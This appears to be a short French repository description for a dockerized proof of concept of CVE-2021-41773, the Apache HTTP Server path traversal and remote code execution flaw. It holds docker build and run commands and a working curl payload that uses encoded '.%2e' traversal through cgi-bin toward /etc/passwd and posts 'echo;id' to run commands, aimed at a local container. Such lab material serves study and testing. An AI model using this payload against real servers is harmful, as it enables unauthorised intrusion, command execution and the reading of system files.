vuongnv3389-sec/cve-2021-41773Preuve de concept dockerisée pour le contournement de chemin et l'exécution de code à distance (RCE) sur Apache HTTP Server (CVE-2021-41773), incluant les instructions de construction et les étapes d'exploitation basées sur curl.
$ docker build -t cve-2021-41773 .
$ docker run --rm -d -p 80:80 cve-2021-41773
curl --data "echo;id" 'http://localhost/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd'
Erreur de configuration dans le fichier httpd.conf combinée à un Path traversal => RCE
